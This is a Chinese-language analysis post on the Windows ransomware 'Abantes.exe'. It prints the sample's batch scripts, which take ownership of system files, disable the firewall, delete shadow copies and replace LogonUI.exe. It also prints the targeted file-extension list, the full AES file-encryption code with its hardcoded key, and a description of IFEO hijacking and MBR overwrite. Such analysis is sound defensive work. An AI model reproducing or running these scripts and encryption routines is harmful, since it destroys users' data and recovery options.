1.文件分析文件信息
名称: Abantes.exe
大小: 2271744 字节 (2218 KiB)
CRC32: 93D8F7FE
CRC64: C9B45FB7B64F442B
SHA256: cf8ef09c5380a2a6e1ccb0210d6ba9707b3e07d2a650d1abe31dc4b80392f742
SHA1: 3f5e8c3945ab7ff8d32c25a65b12d0c538ab0688
BLAKE2sp: 9e7c5d4fa59a6fa3365f9c37fa464aff8cf24ae0ec35049cc96110f6778465cc
XXH64: 7E25F27C8785FA03
使用ExeInfoPE打开
程序本身没有加壳,并且是使用net framework编写
用DNSPY打开
程序入口点位于Abantes.Start.Main
代码如下:
代码主要功能
首先通过 Environment.OSVersion 和 Version.Major、Version.Minor 检查操作系统的版本。
特别是检查操作系统是否为 Windows NT (PlatformID.Win32NT)。
根据检测到的操作系统版本(major 和 minor 版本),设置字符串 a 来表示运行的是哪个版本的 Windows ("10"、"8" 或 "8.1")。
[mw_shl_code=csharp,true]// 获取当前操作系统的版本信息
OperatingSystem osInfo = Environment.OSVersion;
int major = osInfo.Version.Major; // 获取操作系统的主版本号
int minor = osInfo.Version.Minor; // 获取操作系统的次版本号
string a = ""; // 初始化一个空字符串变量 a
// 判断当前操作系统是否为 Windows NT 平台
if (osInfo.Platform == PlatformID.Win32NT)
{
// 根据操作系统的主版本号和次版本号来判断具体的 Windows 版本
if (major == 10)
{
a = "10"; // Windows 10
}
else if (major == 6 && minor == 3)
{
a = "8.1"; // Windows 8.1
}
else if (major == 6 && minor == 2)
{
a = "8"; // Windows 8
}
}
[/mw_shl_code]
解释:
获取操作系统信息:
Environment.OSVersion 方法返回一个 OperatingSystem 对象,
该对象包含有关当前操作系统的版本信息。
获取主版本号和次版本号:
从 OperatingSystem 对象中提取 Version 属性,
然后分别获取 Major 和 Minor 属性。
这两个属性分别表示操作系统的主版本号和次版本号。
操作系统平台判断:
使用 osInfo.Platform == PlatformID.Win32NT 条件来确保当前操作系统是基于 Windows NT 架构的。
判断具体的 Windows 版本:
根据主版本号 major 和次版本号 minor 的组合,来确定当前运行的是哪个具体版本的 Windows 操作系统。
如果 major == 10,则表示当前操作系统是 Windows 10,此时将字符串变量 a 设置为 "10"。
如果 major == 6 且 minor == 3,则表示当前操作系统是 Windows 8.1,将 a 设置为 "8.1"。
如果 major == 6 且 minor == 2,则表示当前操作系统是 Windows 8,将 a 设置为 "8"。
总结:
这段代码的目的是根据当前运行的操作系统版本来设定一个字符串变量 a,以便后续根据不同的操作系统版本执行不同的逻辑。这种方式可以帮助程序根据操作系统的特定行为或兼容性进行调整和优化。
无论操作系统版本如何,代码接着创建了一个 MainThread 的实例(可能是一个窗体或主线程)。
配置这个窗体 (MainThread) 为隐藏在屏幕外 (Location = new Point(-2000, -2000),Size = new Size(1, 1))。
最后,如果确定系统为Win7,
设置 MainThread 的一些属性(如 FormBorderStyle、ShowInTaskbar、StartPosition),
并使用 Application.Run(mainThread) 运行应用程序。
MainThread部分
这段代码的作用是检查当前计算机上是否已经运行了名为 "Abantes" 的进程,
如果已经有多于一个实例在运行,则立即终止当前进程。
接下来检测2个注册表
这段代码用于检查注册表中是否存在名为 "Debug" 的值,并且该值不为空,
然后检查的是名为 "DebugInfectMsg" 的注册表值是否为空
如果存在名为 "Debug" 的值,并且该值不为空,并且名为 "DebugInfectMsg" 的注册表值为空
就会启动调试模式,弹出一个消息框INFECT SYSTEM?
点击否程序结束,点击是继续运行
接下来是释放文件
检测HKEY_LOCAL_MACHINE\\Software\\Abantes"中的"AbantesWasHere“是否存在
如果不存在就释放文件:
Directory.CreateDirectory("C:\\Windows\\Defender");
创建目录("C:\\Windows\\Defender")
File.WriteAllText(text + "\\Action.bat", Resources.Action);
用于获取文件的权限和替换MUI文件
内容如下
[mw_shl_code=asm,true]@echo on
cd\&cd Windows\System32
takeown /f logonui.exe
icacls logonui.exe /granted %username%:F
takeown /f "C:\Windows\System32\en-US" /r /d y
icacls "C:\Windows\System32\en-US" /granted %username%:F /T /C
cd\&cd Windows
takeown /f explorer.exe
takeown /f regedit.exe
takeown /f HelpPane.exe
takeown /f "C:\Windows\Temp" /r /d y
takeown /f "C:\Windows\en-US" /r /d y
icacls "C:\Windows\Temp" /granted %username%:F /T /C
icacls "C:\Windows\en-US" /granted %username%:F /T /C
icacls regedit.exe /granted %username%:F
icacls explorer.exe /granted %username%:F
icacls HelpPane.exe /granted %username%:F
wmic useraccount where name='%username%' set FullName='Abantes Was Here'
wmic useraccount where name='%username%' rename 'Abantes Was Here'
NetSh Advfirewall set allprofiles state off
vssadmin delete shadows /all /quiet
taskkill /f /im explorer.exe
TIMEOUT 1
copy "C:\Windows\Defender\authui.dll.mui" "C:\Windows\System32\en-US\authui.dll.mui" /Y
copy "C:\Windows\Defender\explorer.exe.mui" "C:\Windows\en-US\explorer.exe.mui" /Y
TIMEOUT 2
[/mw_shl_code]
更改文件和文件夹的所有权:
takeown /f 命令用于获取文件或文件夹的所有权。
icacls 用来更改文件的访问权限,允许当前用户对文件或文件夹进行完全控制 (/granted %username%:F).
关闭防火墙:
NetSh Advfirewall set allprofiles state off 命令关闭所有网络配置文件的防火墙。
删除卷影副本:
vssadmin delete shadows /all /quiet 用于删除所有卷影副本,这些副本通常用于恢复系统文件。
结束进程:
taskkill /f /im explorer.exe 强制结束 explorer.exe 进程,这会导致桌面界面消失。
复制和替换文件:
copy 命令将文件从一个位置复制到另一个位置,且使用 /Y 强制覆盖目标文件。
更改用户名:
wmic useraccount 命令可以更改当前用户的姓名和全名。
更改系统文件和权限:
通过以上命令修改了与登录、资源管理器、注册表、帮助面板相关的系统文件的权限。
File.WriteAllText(text + "\\logonOverwrite.bat", Resources.LogonOverwrite);
用于覆盖C:\Windows\System32\logonUI.exe
内容如下
[mw_shl_code=asm,true]@echo on
cd\&cd Windows\System32
takeown /f logonui.exe
icacls logonui.exe /granted %username%:F
takeown /f "C:\Windows\Temp" /r /d y
icacls "C:\Windows\Temp" /granted %username%:F /T /C
copy "C:\Windows\Defender\LogonUIStart.exe" "C:\Windows\System32\LogonUI.exe" /Y
copy "C:\Windows\Defender\LogonUi.exe" "C:\Windows\Temp\LogonUi.exe" /Y[/mw_shl_code]
takeown: 该命令用来获取指定文件或文件夹的所有权。比如这里用来获取 logonui.exe 文件的所有权。
icacls: 用来设置文件或文件夹的访问控制列表(ACL),将完全访问权限(F)授予当前用户。
copy: 将一个文件复制到另一个位置,覆盖目标位置已有的文件。
具体来看,脚本的操作是:
1。获取 logonui.exe 文件和 C:\Windows\Temp 文件夹的所有权。
2。赋予当前用户对这些文件夹和文件的完全访问权限。
3。然后将 LogonUIStart.exe 和 LogonUi.exe 从 C:\Windows\Defender 目录复制到系统文件夹和临时文件夹中,覆盖已有的文件。
File.WriteAllBytes(text + "\\cursor.cur", Resources.creepy_mouse);
鼠标指针
File.WriteAllBytes(text + "\\icon.ico", Resources.icon);
用于修改EXE文件默认图标
File.WriteAllBytes(text + "\\LogonUIStart.exe", Resources.LogonUI_Start);
用于启动C:\Windows\Defender\LogonUI.exe
File.WriteAllBytes(text + "\\IFEO.exe", Resources.IFEODebugger);
映像劫持的文件
打开后提示消息框
File.WriteAllBytes(text + "\\Payloads.dll", Resources.Payloads);
DLL文件,用于在屏幕上输出特效,并且有蓝屏和覆盖MBR的功能
File.WriteAllBytes(text + "\\Rules.exe", Resources.Rules);
一个提示框,内容如下
File.WriteAllBytes(text + "\\LogonUi.exe", Resources.LogonUI);
用于替换系统的LogonUI程序
File.WriteAllBytes(text + "\\explorer.exe.mui", Resources.explorer_exe);
File.WriteAllBytes(text + "\\authui.dll.mui", Resources.authui_dll);
2个MUI文件
MUI文件是Windows操作系统中的一种多语言用户界面(MUI,Multilingual User Interface)文件,
它的作用是提供多语言支持。
这些文件允许Windows操作系统根据用户选择的语言来显示不同的界面内容,
比如菜单、对话框和按钮的文本。
File.WriteAllBytes(text + "\\data.bin", Resources.data);
MBR数据
接下来修改桌面壁纸
registryKey6.SetValue("NoControlPanel", "1");
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\EnableLUA"
"Rules.exe"
"C:\\Windows\\Defender\\Rules.exe",
"C:\\Windows\\Defender\\Abantes.exe",
"C:\\Windows\\Defender\\Payloads.dll",
"C:\\Windows\\Defender\\IFEO.exe"
msconfig:系统配置工具,用于管理 Windows 启动过程中的各项设置。可以启用或禁用启动项、服务和系统配置,帮助诊断和优化启动速度。
taskmgr:任务管理器,用于查看和管理正在运行的进程、应用程序、服务以及系统的资源使用情况(如 CPU、内存、磁盘、网络等)。还可以结束不响应的进程或程序。
cmd:命令提示符(Command Prompt),提供了一个命令行界面,用于运行各种命令和脚本。它允许用户与操作系统进行交互,执行管理任务和诊断工具。
taskschd:任务调度程序,用于安排和管理自动执行的任务。可以设置特定的任务在指定的时间自动运行,例如备份文件、更新系统等。
mmc:微软管理控制台(Microsoft Management Console),一个框架应用程序,可以加载各种管理工具,如计算机管理、事件查看器、组策略编辑器等。它为系统管理员提供了集中管理和配置的界面。
resmon:资源监视器,用于查看系统资源的使用情况,包括 CPU、内存、磁盘、网络等。它帮助用户了解当前哪些进程或服务占用了系统资源,有助于排除性能瓶颈。
以下是加密文件的相关代码
加密以下扩展名的文件
".jpg",
".jpeg",
".raw",
".tif",
".gif",
".png",
".bmp",
".3dm",
".max",
".accdb",
".db",
".dbf",
".mdb",
".pdb",
".sql",
".dwg",
".dxf",
".c",
".cpp",
".cs",
".h",
".php",
".asp",
".rb",
".java",
".jar",
".class",
".py",
".js",
".rar",
".zip",
".7zip",
".7z",
".dat",
".csv",
".efx",
".sdf",
".vcf",
".xml",
".ses",
".aaf",
".aep",
".aepx",
".plb",
".prel",
".prproj",
".aet",
".ppj",
".psd",
".indd",
".indl",
".indt",
".indb",
".inx",
".idml",
".pmd",
".xqx",
".xqx",
".ai",
".eps",
".ps",
".svg",
".swf",
".fla",
".as3",
".as",
".txt",
".doc",
".dot",
".docx",
".docm",
".dotx",
".dotm",
".docb",
".rtf",
".wpd",
".wps",
".msg",
".pdf",
".xls",
".xlt",
".xlm",
".xlsx",
".xlsm",
".xltx",
".xltm",
".xlsb",
".xla",
".xlam",
".xll",
".xlw",
".ppt",
".pot",
".pps",
".pptx",
".pptm",
".potx",
".potm",
".ppam",
".ppsx",
".ppsm",
".sldx",
".sldm",
".wav",
".mp3",
".aif",
".iff",
".m3u",
".m4u",
".mid",
".mpa",
".wma",
".ra",
".avi",
".mov",
".mp4",
".3gp",
".mpeg",
".3g2",
".asf",
".asx",
".flv",
".mpg",
".wmv",
".vob",
".m3u8",
".mkv",
".m4a",
".ico",
".dic",
".rex",
".hmg",
".config",
".resx",
".res"
调用Encryption.FileEncrypt函数,密钥是WR8h2GIbf9FGz6VVlSzJ
以下为加解密部分全部代码
[mw_shl_code=asm,true]using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;
using System.Windows.Forms;
namespace Abantes.Utils
{
// Token: 0x02000008 RID: 8
internal class Encryption
{
// Token: 0x0600002B RID: 43 RVA: 0x000045C0 File Offset: 0x000027C0
public static byte[] GenerateRandomSalt()
{
byte[] array = new byte[32];
using (RNGCryptoServiceProvider rngcryptoServiceProvider = new RNGCryptoServiceProvider())
{
for (int i = 0; i < 10; i++)
{
rngcryptoServiceProvider.GetBytes(array);
}
}
return array;
}
// Token: 0x0600002C RID: 44 RVA: 0x0000460C File Offset: 0x0000280C
public static void FileEncrypt(string inputFile, string password)
{
byte[] array = Encryption.GenerateRandomSalt();
FileStream fileStream = new FileStream(inputFile + ".Abantes", FileMode.Create);
byte[] bytes = Encoding.UTF8.GetBytes(password);
RijndaelManaged rijndaelManaged = new RijndaelManaged();
rijndaelManaged.KeySize = 256;
rijndaelManaged.BlockSize = 128;
rijndaelManaged.Padding = PaddingMode.PKCS7;
Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(bytes, array, 50000);
rijndaelManaged.Key = rfc2898DeriveBytes.GetBytes(rijndaelManaged.KeySize / 8);
rijndaelManaged.IV = rfc2898DeriveBytes.GetBytes(rijndaelManaged.BlockSize / 8);
rijndaelManaged.Mode = CipherMode.CFB;
fileStream.Write(array, 0, array.Length);
CryptoStream cryptoStream = new CryptoStream(fileStream, rijndaelManaged.CreateEncryptor(), CryptoStreamMode.Write);
FileStream fileStream2 = new FileStream(inputFile, FileMode.Open);
byte[] array2 = new byte[1048576];
try
{
int count;
while ((count = fileStream2.Read(array2, 0, array2.Length)) > 0)
{
Application.DoEvents();
cryptoStream.Write(array2, 0, count);
}
fileStream2.Close();
}
catch (Exception ex)
{
Console.WriteLine("Error: " + ex.Message);
}
finally
{
cryptoStream.Close();
fileStream.Close();
}
}
// Token: 0x0600002D RID: 45 RVA: 0x00004740 File Offset: 0x00002940
public static void FileDecrypt(string inputFile, string outputFile, string password)
{
byte[] bytes = Encoding.UTF8.GetBytes(password);
byte[] array = new byte[32];
FileStream fileStream = new FileStream(inputFile, FileMode.Open);
fileStream.Read(array, 0, array.Length);
RijndaelManaged rijndaelManaged = new RijndaelManaged();
rijndaelManaged.KeySize = 256;
rijndaelManaged.BlockSize = 128;
Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(bytes, array, 50000);
rijndaelManaged.Key = rfc2898DeriveBytes.GetBytes(rijndaelManaged.KeySize / 8);
rijndaelManaged.IV = rfc2898DeriveBytes.GetBytes(rijndaelManaged.BlockSize / 8);
rijndaelManaged.Padding = PaddingMode.PKCS7;
rijndaelManaged.Mode = CipherMode.CFB;
CryptoStream cryptoStream = new CryptoStream(fileStream, rijndaelManaged.CreateDecryptor(), CryptoStreamMode.Read);
FileStream fileStream2 = new FileStream(outputFile, FileMode.Create);
byte[] array2 = new byte[1048576];
try
{
int count;
while ((count = cryptoStream.Read(array2, 0, array2.Length)) > 0)
{
Application.DoEvents();
fileStream2.Write(array2, 0, count);
}
}
catch (CryptographicException ex)
{
Console.WriteLine("CryptographicException error: " + ex.Message);
}
catch (Exception ex2)
{
Console.WriteLine("Error: " + ex2.Message);
}
try
{
cryptoStream.Close();
}
catch (Exception ex3)
{
Console.WriteLine("Error by closing CryptoStream: " + ex3.Message);
}
finally
{
fileStream2.Close();
fileStream.Close();
}
}
}
}
[/mw_shl_code]
当使用上述代码进行文件加密和解密时,涉及到几个关键的步骤和流程。下面分别详细描述加密和解密的流程:加密流程 (FileEncrypt 方法)
解密流程 (FileDecrypt 方法)
关键点说明:
这些步骤构成了一个基本的文件加密和解密流程,适用于需要保护敏感数据的应用场景,同时提供了良好的安全性和可靠性。
上一篇:Minecraft 服务器
下一篇:没有了